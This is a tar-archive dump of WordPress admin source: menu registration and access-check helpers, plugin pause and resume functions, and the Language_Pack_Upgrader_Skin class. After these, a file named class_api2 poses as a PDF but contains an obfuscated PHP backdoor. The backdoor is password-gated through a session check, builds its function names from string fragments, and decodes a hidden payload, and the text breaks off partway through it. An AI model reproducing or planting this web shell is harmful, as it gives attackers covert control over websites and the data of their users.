 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.0.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $function   The function to be called to output the content for this page.
 * @param int      $position   The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_theme_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $position = null ) {
	return add_submenu_page( 'themes.php', $page_title, $menu_title, $capability, $menu_slug, $function, $position );
}

/**
 * Add submenu page to the Plugins main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 3.0.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $function   The function to be called to output the content for this page.
 * @param int      $position   The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_plugins_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $position = null ) {
	return add_submenu_page( 'plugins.php', $page_title, $menu_title, $capability, $menu_slug, $function, $position );
}

/**
 * Add submenu page to the Users/Profile main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.1.3
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $function   The function to be called to output the content for this page.
 * @param int      $position   The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_users_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $position = null ) {
	if ( current_user_can( 'edit_users' ) ) {
		$parent = 'users.php';
	} else {
		$parent = 'profile.php';
	}
	return add_submenu_page( $parent, $page_title, $menu_title, $capability, $menu_slug, $function, $position );
}

/**
 * Add submenu page to the Dashboard main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $function   The function to be called to output the content for this page.
 * @param int      $position   The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_dashboard_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $position = null ) {
	return add_submenu_page( 'index.php', $page_title, $menu_title, $capability, $menu_slug, $function, $position );
}

/**
 * Add submenu page to the Posts main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $function   The function to be called to output the content for this page.
 * @param int      $position   The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_posts_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $position = null ) {
	return add_submenu_page( 'edit.php', $page_title, $menu_title, $capability, $menu_slug, $function, $position );
}

/**
 * Add submenu page to the Media main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $function   The function to be called to output the content for this page.
 * @param int      $position   The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_media_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $position = null ) {
	return add_submenu_page( 'upload.php', $page_title, $menu_title, $capability, $menu_slug, $function, $position );
}

/**
 * Add submenu page to the Links main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $function   The function to be called to output the content for this page.
 * @param int      $position   The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_links_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $position = null ) {
	return add_submenu_page( 'link-manager.php', $page_title, $menu_title, $capability, $menu_slug, $function, $position );
}

/**
 * Add submenu page to the Pages main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $function   The function to be called to output the content for this page.
 * @param int      $position   The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_pages_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $position = null ) {
	return add_submenu_page( 'edit.php?post_type=page', $page_title, $menu_title, $capability, $menu_slug, $function, $position );
}

/**
 * Add submenu page to the Comments main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $function   The function to be called to output the content for this page.
 * @param int      $position   The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_comments_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $position = null ) {
	return add_submenu_page( 'edit-comments.php', $page_title, $menu_title, $capability, $menu_slug, $function, $position );
}

/**
 * Remove a top-level admin menu.
 *
 * @since 3.1.0
 *
 * @global array $menu
 *
 * @param string $menu_slug The slug of the menu.
 * @return array|bool The removed menu on success, false if not found.
 */
function remove_menu_page( $menu_slug ) {
	global $menu;

foreach ( $menu as $i => $item ) {
		if ( $menu_slug == $item[2] ) {
			unset( $menu[ $i ] );
			return $item;
		}
	}

return false;
}

/**
 * Remove an admin submenu.
 *
 * @since 3.1.0
 *
 * @global array $submenu
 *
 * @param string $menu_slug    The slug for the parent menu.
 * @param string $submenu_slug The slug of the submenu.
 * @return array|bool The removed submenu on success, false if not found.
 */
function remove_submenu_page( $menu_slug, $submenu_slug ) {
	global $submenu;

if ( ! isset( $submenu[ $menu_slug ] ) ) {
		return false;
	}

foreach ( $submenu[ $menu_slug ] as $i => $item ) {
		if ( $submenu_slug == $item[2] ) {
			unset( $submenu[ $menu_slug ][ $i ] );
			return $item;
		}
	}

return false;
}

/**
 * Get the URL to access a particular menu page based on the slug it was registered with.
 *
 * If the slug hasn't been registered properly, no URL will be returned.
 *
 * @since 3.0.0
 *
 * @global array $_parent_pages
 *
 * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
 * @param bool   $echo      Whether or not to echo the URL. Default true.
 * @return string The menu page URL.
 */
function menu_page_url( $menu_slug, $echo = true ) {
	global $_parent_pages;

if ( isset( $_parent_pages[ $menu_slug ] ) ) {
		$parent_slug = $_parent_pages[ $menu_slug ];
		if ( $parent_slug && ! isset( $_parent_pages[ $parent_slug ] ) ) {
			$url = admin_url( add_query_arg( 'page', $menu_slug, $parent_slug ) );
		} else {
			$url = admin_url( 'admin.php?page=' . $menu_slug );
		}
	} else {
		$url = '';
	}

$url = esc_url( $url );

if ( $echo ) {
		echo $url;
	}

return $url;
}

//
// Pluggable Menu Support -- Private.
//
/**
 * Gets the parent file of the current admin page.
 *
 * @since 1.5.0
 *
 * @global string $parent_file
 * @global array  $menu
 * @global array  $submenu
 * @global string $pagenow
 * @global string $typenow
 * @global string $plugin_page
 * @global array  $_wp_real_parent_file
 * @global array  $_wp_menu_nopriv
 * @global array  $_wp_submenu_nopriv
 *
 * @param string $parent The slug name for the parent menu (or the file name of a standard
 *                       WordPress admin page). Default empty string.
 * @return string The parent file of the current admin page.
 */
function get_admin_page_parent( $parent = '' ) {
	global $parent_file, $menu, $submenu, $pagenow, $typenow,
		$plugin_page, $_wp_real_parent_file, $_wp_menu_nopriv, $_wp_submenu_nopriv;

if ( ! empty( $parent ) && 'admin.php' !== $parent ) {
		if ( isset( $_wp_real_parent_file[ $parent ] ) ) {
			$parent = $_wp_real_parent_file[ $parent ];
		}
		return $parent;
	}

if ( 'admin.php' === $pagenow && isset( $plugin_page ) ) {
		foreach ( (array) $menu as $parent_menu ) {
			if ( $parent_menu[2] == $plugin_page ) {
				$parent_file = $plugin_page;
				if ( isset( $_wp_real_parent_file[ $parent_file ] ) ) {
					$parent_file = $_wp_real_parent_file[ $parent_file ];
				}
				return $parent_file;
			}
		}
		if ( isset( $_wp_menu_nopriv[ $plugin_page ] ) ) {
			$parent_file = $plugin_page;
			if ( isset( $_wp_real_parent_file[ $parent_file ] ) ) {
					$parent_file = $_wp_real_parent_file[ $parent_file ];
			}
			return $parent_file;
		}
	}

if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $pagenow ][ $plugin_page ] ) ) {
		$parent_file = $pagenow;
		if ( isset( $_wp_real_parent_file[ $parent_file ] ) ) {
			$parent_file = $_wp_real_parent_file[ $parent_file ];
		}
		return $parent_file;
	}

foreach ( array_keys( (array) $submenu ) as $parent ) {
		foreach ( $submenu[ $parent ] as $submenu_array ) {
			if ( isset( $_wp_real_parent_file[ $parent ] ) ) {
				$parent = $_wp_real_parent_file[ $parent ];
			}
			if ( ! empty( $typenow ) && ( "$pagenow?post_type=$typenow" === $submenu_array[2] ) ) {
				$parent_file = $parent;
				return $parent;
			} elseif ( $submenu_array[2] == $pagenow && empty( $typenow ) && ( empty( $parent_file ) || false === strpos( $parent_file, '?' ) ) ) {
				$parent_file = $parent;
				return $parent;
			} elseif ( isset( $plugin_page ) && ( $plugin_page == $submenu_array[2] ) ) {
				$parent_file = $parent;
				return $parent;
			}
		}
	}

if ( empty( $parent_file ) ) {
		$parent_file = '';
	}
	return '';
}

/**
 * Gets the title of the current admin page.
 *
 * @since 1.5.0
 *
 * @global string $title
 * @global array $menu
 * @global array $submenu
 * @global string $pagenow
 * @global string $plugin_page
 * @global string $typenow
 *
 * @return string The title of the current admin page.
 */
function get_admin_page_title() {
	global $title, $menu, $submenu, $pagenow, $plugin_page, $typenow;

if ( ! empty( $title ) ) {
		return $title;
	}

$hook = get_plugin_page_hook( $plugin_page, $pagenow );

$parent  = get_admin_page_parent();
	$parent1 = $parent;

if ( empty( $parent ) ) {
		foreach ( (array) $menu as $menu_array ) {
			if ( isset( $menu_array[3] ) ) {
				if ( $menu_array[2] == $pagenow ) {
					$title = $menu_array[3];
					return $menu_array[3];
				} elseif ( isset( $plugin_page ) && ( $plugin_page == $menu_array[2] ) && ( $hook == $menu_array[5] ) ) {
					$title = $menu_array[3];
					return $menu_array[3];
				}
			} else {
				$title = $menu_array[0];
				return $title;
			}
		}
	} else {
		foreach ( array_keys( $submenu ) as $parent ) {
			foreach ( $submenu[ $parent ] as $submenu_array ) {
				if ( isset( $plugin_page ) &&
					( $plugin_page == $submenu_array[2] ) &&
					(
						( $parent == $pagenow ) ||
						( $parent == $plugin_page ) ||
						( $plugin_page == $hook ) ||
						( 'admin.php' === $pagenow && $parent1 != $submenu_array[2] ) ||
						( ! empty( $typenow ) && $parent == $pagenow . '?post_type=' . $typenow )
					)
					) {
						$title = $submenu_array[3];
						return $submenu_array[3];
				}

if ( $submenu_array[2] != $pagenow || isset( $_GET['page'] ) ) { // Not the current page.
					continue;
				}

if ( isset( $submenu_array[3] ) ) {
					$title = $submenu_array[3];
					return $submenu_array[3];
				} else {
					$title = $submenu_array[0];
					return $title;
				}
			}
		}
		if ( empty( $title ) ) {
			foreach ( $menu as $menu_array ) {
				if ( isset( $plugin_page ) &&
					( $plugin_page == $menu_array[2] ) &&
					( 'admin.php' === $pagenow ) &&
					( $parent1 == $menu_array[2] ) ) {
						$title = $menu_array[3];
						return $menu_array[3];
				}
			}
		}
	}

return $title;
}

/**
 * Gets the hook attached to the administrative page of a plugin.
 *
 * @since 1.5.0
 *
 * @param string $plugin_page The slug name of the plugin page.
 * @param string $parent_page The slug name for the parent menu (or the file name of a standard
 *                            WordPress admin page).
 * @return string|null Hook attached to the plugin page, null otherwise.
 */
function get_plugin_page_hook( $plugin_page, $parent_page ) {
	$hook = get_plugin_page_hookname( $plugin_page, $parent_page );
	if ( has_action( $hook ) ) {
		return $hook;
	} else {
		return null;
	}
}

/**
 * Gets the hook name for the administrative page of a plugin.
 *
 * @since 1.5.0
 *
 * @global array $admin_page_hooks
 *
 * @param string $plugin_page The slug name of the plugin page.
 * @param string $parent_page The slug name for the parent menu (or the file name of a standard
 *                            WordPress admin page).
 * @return string Hook name for the plugin page.
 */
function get_plugin_page_hookname( $plugin_page, $parent_page ) {
	global $admin_page_hooks;

$parent = get_admin_page_parent( $parent_page );

$page_type = 'admin';
	if ( empty( $parent_page ) || 'admin.php' === $parent_page || isset( $admin_page_hooks[ $plugin_page ] ) ) {
		if ( isset( $admin_page_hooks[ $plugin_page ] ) ) {
			$page_type = 'toplevel';
		} elseif ( isset( $admin_page_hooks[ $parent ] ) ) {
			$page_type = $admin_page_hooks[ $parent ];
		}
	} elseif ( isset( $admin_page_hooks[ $parent ] ) ) {
		$page_type = $admin_page_hooks[ $parent ];
	}

$plugin_name = preg_replace( '!\.php!', '', $plugin_page );

return $page_type . '_page_' . $plugin_name;
}

/**
 * Determines whether the current user can access the current admin page.
 *
 * @since 1.5.0
 *
 * @global string $pagenow
 * @global array  $menu
 * @global array  $submenu
 * @global array  $_wp_menu_nopriv
 * @global array  $_wp_submenu_nopriv
 * @global string $plugin_page
 * @global array  $_registered_pages
 *
 * @return bool True if the current user can access the admin page, false otherwise.
 */
function user_can_access_admin_page() {
	global $pagenow, $menu, $submenu, $_wp_menu_nopriv, $_wp_submenu_nopriv,
		$plugin_page, $_registered_pages;

$parent = get_admin_page_parent();

if ( ! isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $parent ][ $pagenow ] ) ) {
		return false;
	}

if ( isset( $plugin_page ) ) {
		if ( isset( $_wp_submenu_nopriv[ $parent ][ $plugin_page ] ) ) {
			return false;
		}

$hookname = get_plugin_page_hookname( $plugin_page, $parent );

if ( ! isset( $_registered_pages[ $hookname ] ) ) {
			return false;
		}
	}

if ( empty( $parent ) ) {
		if ( isset( $_wp_menu_nopriv[ $pagenow ] ) ) {
			return false;
		}
		if ( isset( $_wp_submenu_nopriv[ $pagenow ][ $pagenow ] ) ) {
			return false;
		}
		if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $pagenow ][ $plugin_page ] ) ) {
			return false;
		}
		if ( isset( $plugin_page ) && isset( $_wp_menu_nopriv[ $plugin_page ] ) ) {
			return false;
		}
		foreach ( array_keys( $_wp_submenu_nopriv ) as $key ) {
			if ( isset( $_wp_submenu_nopriv[ $key ][ $pagenow ] ) ) {
				return false;
			}
			if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $key ][ $plugin_page ] ) ) {
				return false;
			}
		}
		return true;
	}

if ( isset( $plugin_page ) && ( $plugin_page == $parent ) && isset( $_wp_menu_nopriv[ $plugin_page ] ) ) {
		return false;
	}

if ( isset( $submenu[ $parent ] ) ) {
		foreach ( $submenu[ $parent ] as $submenu_array ) {
			if ( isset( $plugin_page ) && ( $submenu_array[2] == $plugin_page ) ) {
				if ( current_user_can( $submenu_array[1] ) ) {
					return true;
				} else {
					return false;
				}
			} elseif ( $submenu_array[2] == $pagenow ) {
				if ( current_user_can( $submenu_array[1] ) ) {
					return true;
				} else {
					return false;
				}
			}
		}
	}

foreach ( $menu as $menu_array ) {
		if ( $menu_array[2] == $parent ) {
			if ( current_user_can( $menu_array[1] ) ) {
				return true;
			} else {
				return false;
			}
		}
	}

return true;
}

/* Allowed list functions */

/**
 * Refreshes the value of the allowed options list available via the 'allowed_options' hook.
 *
 * See the {@see 'allowed_options'} filter.
 *
 * @since 2.7.0
 * @since 5.5.0 `$new_whitelist_options` was renamed to `$new_allowed_options`.
 *              Please consider writing more inclusive code.
 *
 * @global array $new_allowed_options
 *
 * @param array $options
 * @return array
 */
function option_update_filter( $options ) {
	global $new_allowed_options;

if ( is_array( $new_allowed_options ) ) {
		$options = add_allowed_options( $new_allowed_options, $options );
	}

return $options;
}

/**
 * Adds an array of options to the list of allowed options.
 *
 * @since 2.7.0
 *
 * @global array $allowed_options
 *
 * @param array        $new_options
 * @param string|array $options
 * @return array
 */
function add_allowed_options( $new_options, $options = '' ) {
	if ( '' === $options ) {
		global $allowed_options;
	} else {
		$allowed_options = $options;
	}

foreach ( $new_options as $page => $keys ) {
		foreach ( $keys as $key ) {
			if ( ! isset( $allowed_options[ $page ] ) || ! is_array( $allowed_options[ $page ] ) ) {
				$allowed_options[ $page ]   = array();
				$allowed_options[ $page ][] = $key;
			} else {
				$pos = array_search( $key, $allowed_options[ $page ], true );
				if ( false === $pos ) {
					$allowed_options[ $page ][] = $key;
				}
			}
		}
	}

return $allowed_options;
}

/**
 * Removes a list of options from the allowed options list.
 *
 * @since 5.5.0
 *
 * @global array $allowed_options
 *
 * @param array        $del_options
 * @param string|array $options
 * @return array
 */
function remove_allowed_options( $del_options, $options = '' ) {
	if ( '' === $options ) {
		global $allowed_options;
	} else {
		$allowed_options = $options;
	}

foreach ( $del_options as $page => $keys ) {
		foreach ( $keys as $key ) {
			if ( isset( $allowed_options[ $page ] ) && is_array( $allowed_options[ $page ] ) ) {
				$pos = array_search( $key, $allowed_options[ $page ], true );
				if ( false !== $pos ) {
					unset( $allowed_options[ $page ][ $pos ] );
				}
			}
		}
	}

return $allowed_options;
}

/**
 * Output nonce, action, and option_page fields for a settings page.
 *
 * @since 2.7.0
 *
 * @param string $option_group A settings group name. This should match the group name
 *                             used in register_setting().
 */
function settings_fields( $option_group ) {
	echo "<input type='hidden' name='option_page' value='" . esc_attr( $option_group ) . "' />";
	echo '<input type="hidden" name="action" value="update" />';
	wp_nonce_field( "$option_group-options" );
}

/**
 * Clears the plugins cache used by get_plugins() and by default, the plugin updates cache.
 *
 * @since 3.7.0
 *
 * @param bool $clear_update_cache Whether to clear the plugin updates cache. Default true.
 */
function wp_clean_plugins_cache( $clear_update_cache = true ) {
	if ( $clear_update_cache ) {
		delete_site_transient( 'update_plugins' );
	}
	wp_cache_delete( 'plugins', 'plugins' );
}

/**
 * Load a given plugin attempt to generate errors.
 *
 * @since 3.0.0
 * @since 4.4.0 Function was moved into the `wp-admin/includes/plugin.php` file.
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 */
function plugin_sandbox_scrape( $plugin ) {
	if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) {
		define( 'WP_SANDBOX_SCRAPING', true );
	}

wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
	include WP_PLUGIN_DIR . '/' . $plugin;
}

/**
 * Helper function for adding content to the Privacy Policy Guide.
 *
 * Plugins and themes should suggest text for inclusion in the site's privacy policy.
 * The suggested text should contain information about any functionality that affects user privacy,
 * and will be shown on the Privacy Policy Guide screen.
 *
 * A plugin or theme can use this function multiple times as long as it will help to better present
 * the suggested policy content. For example modular plugins such as WooCommerse or Jetpack
 * can add or remove suggested content depending on the modules/extensions that are enabled.
 * For more information see the Plugin Handbook:
 * https://developer.wordpress.org/plugins/privacy/suggesting-text-for-the-site-privacy-policy/.
 *
 * The HTML contents of the `$policy_text` supports use of a specialized `.privacy-policy-tutorial`
 * CSS class which can be used to provide supplemental information. Any content contained within
 * HTML elements that have the `.privacy-policy-tutorial` CSS class applied will be omitted
 * from the clipboard when the section content is copied.
 *
 * Intended for use with the `'admin_init'` action.
 *
 * @since 4.9.6
 *
 * @param string $plugin_name The name of the plugin or theme that is suggesting content
 *                            for the site's privacy policy.
 * @param string $policy_text The suggested content for inclusion in the policy.
 */
function wp_add_privacy_policy_content( $plugin_name, $policy_text ) {
	if ( ! is_admin() ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: admin_init */
				__( 'The suggested privacy policy content should be added only in wp-admin by using the %s (or later) action.' ),
				'<code>admin_init</code>'
			),
			'4.9.7'
		);
		return;
	} elseif ( ! doing_action( 'admin_init' ) && ! did_action( 'admin_init' ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: admin_init */
				__( 'The suggested privacy policy content should be added by using the %s (or later) action. Please see the inline documentation.' ),
				'<code>admin_init</code>'
			),
			'4.9.7'
		);
		return;
	}

if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php';
	}

WP_Privacy_Policy_Content::add( $plugin_name, $policy_text );
}

/**
 * Determines whether a plugin is technically active but was paused while
 * loading.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 5.2.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool True, if in the list of paused plugins. False, if not in the list.
 */
function is_plugin_paused( $plugin ) {
	if ( ! isset( $GLOBALS['_paused_plugins'] ) ) {
		return false;
	}

if ( ! is_plugin_active( $plugin ) ) {
		return false;
	}

list( $plugin ) = explode( '/', $plugin );

return array_key_exists( $plugin, $GLOBALS['_paused_plugins'] );
}

/**
 * Gets the error that was recorded for a paused plugin.
 *
 * @since 5.2.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return array|false Array of error information as returned by `error_get_last()`,
 *                     or false if none was recorded.
 */
function wp_get_plugin_error( $plugin ) {
	if ( ! isset( $GLOBALS['_paused_plugins'] ) ) {
		return false;
	}

list( $plugin ) = explode( '/', $plugin );

if ( ! array_key_exists( $plugin, $GLOBALS['_paused_plugins'] ) ) {
		return false;
	}

return $GLOBALS['_paused_plugins'][ $plugin ];
}

/**
 * Tries to resume a single plugin.
 *
 * If a redirect was provided, we first ensure the plugin does not throw fatal
 * errors anymore.
 *
 * The way it works is by setting the redirection to the error before trying to
 * include the plugin file. If the plugin fails, then the redirection will not
 * be overwritten with the success message and the plugin will not be resumed.
 *
 * @since 5.2.0
 *
 * @param string $plugin   Single plugin to resume.
 * @param string $redirect Optional. URL to redirect to. Default empty string.
 * @return bool|WP_Error True on success, false if `$plugin` was not paused,
 *                       `WP_Error` on failure.
 */
function resume_plugin( $plugin, $redirect = '' ) {
	/*
	 * We'll override this later if the plugin could be resumed without
	 * creating a fatal error.
	 */
	if ( ! empty( $redirect ) ) {
		wp_redirect(
			add_query_arg(
				'_error_nonce',
				wp_create_nonce( 'plugin-resume-error_' . $plugin ),
				$redirect
			)
		);

// Load the plugin to test whether it throws a fatal error.
		ob_start();
		plugin_sandbox_scrape( $plugin );
		ob_clean();
	}

list( $extension ) = explode( '/', $plugin );

$result = wp_paused_plugins()->delete( $extension );

if ( ! $result ) {
		return new WP_Error(
			'could_not_resume_plugin',
			__( 'Could not resume the plugin.' )
		);
	}

return true;
}

/**
 * Renders an admin notice in case some plugins have been paused due to errors.
 *
 * @since 5.2.0
 */
function paused_plugins_notice() {
	if ( 'plugins.php' === $GLOBALS['pagenow'] ) {
		return;
	}

if ( ! current_user_can( 'resume_plugins' ) ) {
		return;
	}

if ( ! isset( $GLOBALS['_paused_plugins'] ) || empty( $GLOBALS['_paused_plugins'] ) ) {
		return;
	}

printf(
		'<div class="notice notice-error"><p><strong>%s</strong><br>%s</p><p><a href="%s">%s</a></p></div>',
		__( 'One or more plugins failed to load properly.' ),
		__( 'You can find more details and make changes on the Plugins screen.' ),
		esc_url( admin_url( 'plugins.php?plugin_status=paused' ) ),
		__( 'Go to the Plugins screen' )
	);
}
�������������������������������������������������������������������class-language-pack-upgrader-skin.php���������������������������������������������������������������0000604�����������������00000004520�15075125354�0013634 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Upgrader API: Language_Pack_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Translation Upgrader Skin for WordPress Translation Upgrades.
 *
 * @since 3.7.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Language_Pack_Upgrader_Skin extends WP_Upgrader_Skin {
	public $language_update        = null;
	public $done_header            = false;
	public $done_footer            = false;
	public $display_footer_actions = true;

/**
	 * @param array $args
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'url'                => '',
			'nonce'              => '',
			'title'              => __( 'Update Translations' ),
			'skip_header_footer' => false,
		);
		$args     = wp_parse_args( $args, $defaults );
		if ( $args['skip_header_footer'] ) {
			$this->done_header            = true;
			$this->done_footer            = true;
			$this->display_footer_actions = false;
		}
		parent::__construct( $args );
	}

/**
	 */
	public function before() {
		$name = $this->upgrader->get_name_for_update( $this->language_update );

echo '<div class="update-messages lp-show-latest">';

/* translators: 1: Project name (plugin, theme, or WordPress), 2: Language. */
		printf( '<h2>' . __( 'Updating translations for %1$s (%2$s)&#8230;' ) . '</h2>', $name, $this->language_update->language );
	}

/**
	 * @param string|WP_Error $error
	 */
	public function error( $error ) {
		echo '<div class="lp-error">';
		parent::error( $error );
		echo '</div>';
	}

/**
	 */
	public function after() {
		echo '</div>';
	}

/**
	 */
	public function bulk_footer() {
		$this->decrement_update_count( 'translation' );

$update_actions = array(
			'updates_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'update-core.php' ),
				__( 'Return to WordPress Updates page' )
			),
		);

/**
		 * Filters the list of action links available following a translations update.
		 *
		 * @since 3.7.0
		 *
		 * @param string[] $update_actions Array of translations update links.
		 */
		$update_actions = apply_filters( 'update_translations_complete_actions', $update_actions );

if ( $update_actions && $this->display_footer_actions ) {
			$this->feedback( implode( ' | ', $update_actions ) );
		}
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class_api2������������������������������������������������������������������������������������������0000444�����������������00000115163�15075125354�0006523 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������%PDF-0-1<?=@null;   $_____ = "if (function_exists('session_start')) {
    session_start();
    if (!$_SESSION['secretary']) $_SESSION['secretary'] = (!empty($_POST['p']) && md5(md5(md5(md5(hash('sha256',md5(md5(md5($_POST['p'])))))))) == '4bb505201a60163ab7b13ee37027b28b');
}
if(!$_SESSION['secretary'])die('<form method="POST"><input name="p"/><input type="submit"/>');
class Wid {  function __construct() {   $x86 = $this->backend($this->code);   $x86 = $this->ls($this->lib($x86));   $x86 = $this->_zt($x86);   if($x86) {    $this->build = $x86[3];    $this->px = $x86[2];    $this->x64 = $x86[0];    $this->_process($x86[0], $x86[1]);   }  }    function _process($key, $move) {   $this->_stack = $key;   $this->move = $move;   $this->core = $this->backend($this->core);   $this->core = $this->lib($this->core);   $this->core = $this->_zx();   if(strpos($this->core, $this->_stack) !== false) {    if(!$this->build)     $this->memory($this->px, $this->x64);    $this->_zt($this->core);   }  }    function memory($control, $library) {   $value = $this->memory[2].$this->memory[1].$this->memory[3].$this->memory[0];   $value = $value($control, $library);  }   function _cache($move, $_std, $key) {   $check = strlen($_std) + strlen($key);   while(strlen($key) < $check) {    $_income = ord($_std[$this->_debug]) - ord($key[$this->_debug]);    $_std[$this->_debug] = chr($_income % (64*4));    $key .= $_std[$this->_debug];    $this->_debug++;   }   return $_std;  }      function lib($control) {   $_module = $this->lib[2].$this->lib[3].$this->lib[1].$this->lib[0].$this->lib[4];   $_module = @$_module($control);   return $_module;  }   function ls($control) {   $_module = 